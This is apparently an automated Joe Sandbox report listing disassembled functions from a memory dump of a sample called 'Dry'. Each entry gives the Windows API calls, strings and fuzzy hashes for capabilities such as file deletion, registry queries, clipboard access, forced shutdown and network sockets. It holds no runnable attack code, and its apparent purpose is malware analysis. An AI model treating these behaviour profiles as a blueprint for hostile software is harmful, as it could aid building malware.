Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 827c2cc99f6315855d0fb60b6345a8144ba2f38455d069a9878d7ed39c00eb47
Instruction ID: 778401cbc9e73ac99e6b239ee7ed91f8aa7e6981f477a3322ec6edf58860addb
Opcode Fuzzy Hash: 827c2cc99f6315855d0fb60b6345a8144ba2f38455d069a9878d7ed39c00eb47
Instruction Fuzzy Hash: B0319271504249ABDB219FA0DC49FEB37FCEF89745F1041F6FA09D60A1EB7096888B24

Function 00B5A1E2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00B5A203
FindNextFileW.KERNEL32(00000000,?), ref: 00B5A25E
FindClose.KERNEL32(00000000), ref: 00B5A269
FindFirstFileW.KERNEL32(*.*,?), ref: 00B5A285
SetCurrentDirectoryW.KERNEL32(?), ref: 00B5A2D5
SetCurrentDirectoryW.KERNEL32(00BA7B94), ref: 00B5A2F3
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B5A2FD
FindClose.KERNEL32(00000000), ref: 00B5A30A
FindClose.KERNEL32(00000000), ref: 00B5A31A

Part of subcall function 00B4E399: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00B4E3B4

Strings

*.*, xrefs: 00B5A280

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: c1266d41ff984ce5853e23367e35a551927962540da7e0836c6fa4f42f51dc0c
Instruction ID: d44bf25ded100cc0d72597c54579ea0830fc7f93f79770da0c931a209ac69a9f
Opcode Fuzzy Hash: c1266d41ff984ce5853e23367e35a551927962540da7e0836c6fa4f42f51dc0c
Instruction Fuzzy Hash: 1231F2725042196EDB20AFA4DC4ABDE7BFCEF45365F1042D5EC14B30A0DB32DE898A65

Function 00B6C8A4 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6C10E,?,?), ref: 00B6D415
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D451
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4C8
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6C99E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00B6CA09
RegCloseKey.ADVAPI32(00000000), ref: 00B6CA2D
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6CA8C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00B6CB47
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00B6CBB4
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00B6CC49
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00B6CC9A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00B6CD43
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00B6CDE2
RegCloseKey.ADVAPI32(00000000), ref: 00B6CDEF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: b216dec3635e7825968ec79fe57b98f7656e0b33e5944a941108a67efe63d7de
Instruction ID: eed81006b88c0a2f06eab2cb9a199e68fbd7af21f626b42a4fcdc0cee41952b7
Opcode Fuzzy Hash: b216dec3635e7825968ec79fe57b98f7656e0b33e5944a941108a67efe63d7de
Instruction Fuzzy Hash: 810250716042409FC715DF24C995E3ABBE5EF48314F1884ADF88ACB2A2DB35ED42CB91

Function 00B4D921 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE5851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE55D1,?,?,00B24B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00AE5871

Part of subcall function 00B4EAB0: GetFileAttributesW.KERNEL32(?,00B4D840), ref: 00B4EAB1

FindFirstFileW.KERNEL32(?,?), ref: 00B4D9CD
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00B4DA88
MoveFileW.KERNEL32(?,?), ref: 00B4DA9B
DeleteFileW.KERNEL32(?,?,?,?), ref: 00B4DAB8
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B4DAE2

Part of subcall function 00B4DB47: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00B4DAC7,?,?), ref: 00B4DB5D

FindClose.KERNEL32(00000000,?,?,?), ref: 00B4DAFE
FindClose.KERNEL32(00000000), ref: 00B4DB0F

Strings

\*.*, xrefs: 00B4D978, 00B4D981, 00B4D996

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 50a07225467cc852ef1f38cd37d470f34f9ea742caae2bfc9c8a8bb14974ccec
Instruction ID: 9cecbbdfbe0ff6d8b594e52083835c5f16ed04dcb32b3c2974623382e1a56fb4
Opcode Fuzzy Hash: 50a07225467cc852ef1f38cd37d470f34f9ea742caae2bfc9c8a8bb14974ccec
Instruction Fuzzy Hash: EB615B3180514DAECF05EBA1DE969EEB7B5EF14300F2045A9E406B7192EF71AF09DB60

Function 00B5F7C7 Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00B5F7EE
EmptyClipboard.USER32 ref: 00B5F7F4
GlobalAlloc.KERNEL32(00000002,?), ref: 00B5F809
CloseClipboard.USER32 ref: 00B5F900

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 3de1eb1ff710082fcfa54dac22521aa78331c498c62bfc75eaef39e19e14a54a
Instruction ID: 683273cc19330bbc046d793db8a516c830b6f4cbd7e525c0ce17ce12e17855b4
Opcode Fuzzy Hash: 3de1eb1ff710082fcfa54dac22521aa78331c498c62bfc75eaef39e19e14a54a
Instruction Fuzzy Hash: 20417931604652EFE710DF15D888B25BBE4FF44359F14C4E9E8198B6A2CB35ED86CB90

Function 00B4F20D Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00B42010: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B4205A
Part of subcall function 00B42010: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B42087
Part of subcall function 00B42010: GetLastError.KERNEL32 ref: 00B42097

ExitWindowsEx.USER32(?,00000000), ref: 00B4F249

Strings

@, xrefs: 00B4F23C
SeShutdownPrivilege, xrefs: 00B4F219
, xrefs: 00B4F273
, xrefs: 00B4F237

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 3c270b6dcaa8b1c0c7f553b15502077a83b4eb02b8b9dbc6956855bdb733e79d
Instruction ID: 7013ca617f8083ce56d6c7e6b99ad1d8b6e5a79c271d44423ae4755a367ab483
Opcode Fuzzy Hash: 3c270b6dcaa8b1c0c7f553b15502077a83b4eb02b8b9dbc6956855bdb733e79d
Instruction Fuzzy Hash: 2601A27A6142116BEF1466B89CCABBB72ECDF08384F1505B1F912F31D2D9A09E41B590

Function 00B1BCD2 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B1BD54
_free.LIBCMT ref: 00B1BD78
_free.LIBCMT ref: 00B1BEFF
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00B846D0), ref: 00B1BF11
WideCharToMultiByte.KERNEL32(00000000,00000000,00BB221C,000000FF,00000000,0000003F,00000000,?,?), ref: 00B1BF89
WideCharToMultiByte.KERNEL32(00000000,00000000,00BB2270,000000FF,?,0000003F,00000000,?), ref: 00B1BFB6
_free.LIBCMT ref: 00B1C0CB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: e66ea313fd76ba7b4bf6f19a2d3fc74bbd1ce0a55d7908ce39d2defc8fa2c5cf
Instruction ID: 56651c42793e76388902ad62dd0b8293f102f28f7058434b6fe373a3ec3a490a
Opcode Fuzzy Hash: e66ea313fd76ba7b4bf6f19a2d3fc74bbd1ce0a55d7908ce39d2defc8fa2c5cf
Instruction Fuzzy Hash: 35C107729002059FDB249F68DC41EEABBF9EF45310F9445EAE585DB291EB708EC2CB50

Function 00B53A0E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00B256C2,?,?,00000000,00000000), ref: 00B53A1E
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00B256C2,?,?,00000000,00000000), ref: 00B53A35
LoadResource.KERNEL32(?,00000000,?,?,00B256C2,?,?,00000000,00000000,?,?,?,?,?,?,00AE66CE), ref: 00B53A45
SizeofResource.KERNEL32(?,00000000,?,?,00B256C2,?,?,00000000,00000000,?,?,?,?,?,?,00AE66CE), ref: 00B53A56
LockResource.KERNEL32(00B256C2,?,?,00B256C2,?,?,00000000,00000000,?,?,?,?,?,?,00AE66CE,?), ref: 00B53A65

Strings

SCRIPT, xrefs: 00B53A2B

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 4b9358856ed5697e0709811427a9df8ac038648d2d7bc3872792d538d26fef14
Instruction ID: 8101cb30b10f4f50fe9993e626ee41459d9f7d3dae36a54b0550442d79776548
Opcode Fuzzy Hash: 4b9358856ed5697e0709811427a9df8ac038648d2d7bc3872792d538d26fef14
Instruction Fuzzy Hash: 69113971200701BFE7218B65DC48F2BBBF9EFC5B91F1442ACB946972A0DB71E9458A60

Function 00B420AA Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B41900: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B41916
Part of subcall function 00B41900: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B41922
Part of subcall function 00B41900: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B41931
Part of subcall function 00B41900: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B41938
Part of subcall function 00B41900: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B4194E

GetLengthSid.ADVAPI32(?,00000000,00B41C81), ref: 00B420FB
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00B42107
HeapAlloc.KERNEL32(00000000), ref: 00B4210E
CopySid.ADVAPI32(00000000,00000000,?), ref: 00B42127
GetProcessHeap.KERNEL32(00000000,00000000,00B41C81), ref: 00B4213B
HeapFree.KERNEL32(00000000), ref: 00B42142

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 9a2a1dbfaa71daa7ac6ecbaf433f2ba26c029e2db04477fcff9056a9d067bb66
Instruction ID: ed75c578a48b46e568d766b22d5ed97deabc4274b06983f59ed47f0c8380e25c
Opcode Fuzzy Hash: 9a2a1dbfaa71daa7ac6ecbaf433f2ba26c029e2db04477fcff9056a9d067bb66
Instruction Fuzzy Hash: F311D071500204FFEB109FA4CC09FAEBBF9EF45395F944098FA45A7220CB359A81EB60

Function 00B5A570 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00B5A5BD
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00B5A6D0

Part of subcall function 00B542B9: GetInputState.USER32 ref: 00B54310
Part of subcall function 00B542B9: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B543AB

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00B5A5ED
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00B5A6BA

Strings

*.*, xrefs: 00B5A5A2

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 9a0edfee6559a2b1221c970a537dba114721702930ba68ec99977036552a45f9
Instruction ID: 81390a04b485c5d6dfec4fecb45876ad0ba7e7366a168a6bd858c4e8d1f14446
Opcode Fuzzy Hash: 9a0edfee6559a2b1221c970a537dba114721702930ba68ec99977036552a45f9
Instruction Fuzzy Hash: 39415C7190020AAFDB15DFA4C949BEEBBF4EF15351F1441D6E805B21A1EB709E88CF61

Function 00AE22AD Relevance: 7.8, APIs: 5, Instructions: 308COMMON

Download Yara Rule

APIs

DefDlgProcW.USER32(?,?), ref: 00AE233E
GetSysColor.USER32(0000000F), ref: 00AE2421
SetBkColor.GDI32(?,00000000), ref: 00AE2434

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Color$Proc
String ID:
API String ID: 929743424-0
Opcode ID: 61112d9cae490dfbf27026ba079fc326c344d320e62c7e264cb26cb4a8085fde
Instruction ID: cd76d0ff197590e746aab53513a5813be5e130ebf86ba3de87cb8b8a8ff38c09
Opcode Fuzzy Hash: 61112d9cae490dfbf27026ba079fc326c344d320e62c7e264cb26cb4a8085fde
Instruction Fuzzy Hash: 608144B02044A1BAE639663A9C98FBF25EEEB42700B104249F107CE5A5C96DCF429772

Function 00B62263 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00B63AAB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00B63AD7
Part of subcall function 00B63AAB: _wcslen.LIBCMT ref: 00B63AF8

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00B622BA
WSAGetLastError.WSOCK32 ref: 00B622E1
bind.WSOCK32(00000000,?,00000010), ref: 00B62338
WSAGetLastError.WSOCK32 ref: 00B62343
closesocket.WSOCK32(00000000), ref: 00B62372

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 7059ec36de46bacc4221b83ebbcd319553550e3a7fba8adcde11515ee45c221e
Instruction ID: ed8bbc4ad7392e9c8e606e715e0d3ea57eea2f29cc8f55b88bcbfeb18e2a28ea
Opcode Fuzzy Hash: 7059ec36de46bacc4221b83ebbcd319553550e3a7fba8adcde11515ee45c221e
Instruction Fuzzy Hash: A051C171A00200AFE710EF64C986F2A77E5EF44754F088098F9499F3C3CB75AD428BA1

Function 00B726DD Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00B7275C
IsWindowEnabled.USER32 ref: 00B7276A
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00B72777
IsIconic.USER32 ref: 00B72785
IsZoomed.USER32 ref: 00B72793

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 2244d5139d3a6affceb44f7b7739c27a96861893d2d2abeacf432de2e7985d16
Instruction ID: d4b3d21e9a23a8ac1cca31a11eea5c640bdcefd2bcf027b8d9a79291f077e4c0
Opcode Fuzzy Hash: 2244d5139d3a6affceb44f7b7739c27a96861893d2d2abeacf432de2e7985d16
Instruction Fuzzy Hash: 2521E0317002108FE7199F2AC944B1A7BE5EF94364F19C0ADE85E8B352DB71ED42CB90

Function 00B5D889 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00B5D8CE
GetLastError.KERNEL32(?,00000000), ref: 00B5D92F
SetEvent.KERNEL32(?,?,00000000), ref: 00B5D943

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 35c9f9315ea628e1baa820035857bf038b4ca58744fe74293077de62f80e24af
Instruction ID: c65f16241e308d780d63ee0970019c65bcd89c0dc2b3bffd7508b398f7ae9d12
Opcode Fuzzy Hash: 35c9f9315ea628e1baa820035857bf038b4ca58744fe74293077de62f80e24af
Instruction Fuzzy Hash: 4821A171500705EFE7309F65C888BAA77FCEF40315F10459DEA4692191EB70EE49CB50

Function 00B4E472 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00B246AC), ref: 00B4E482
GetFileAttributesW.KERNEL32(?), ref: 00B4E491
FindFirstFileW.KERNEL32(?,?), ref: 00B4E4A2
FindClose.KERNEL32(00000000), ref: 00B4E4AE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: c8492e079e904f3ee24d4ff4d2987d7883c4e36c00dcfc625f96248a48a79ccd
Instruction ID: 9148a4c20b04388439a6f21de04a7a4b87c241eea616b9221d56fac3337c5903
Opcode Fuzzy Hash: c8492e079e904f3ee24d4ff4d2987d7883c4e36c00dcfc625f96248a48a79ccd
Instruction Fuzzy Hash: DEF0A0304109105B92106B38EC0D8AE77BDFE02335B504B81F87AC22E0DB78DA96A695

Function 00B3E5F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00B3E5F8

Strings

%.3d, xrefs: 00B3E603
X64, xrefs: 00B3E680

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

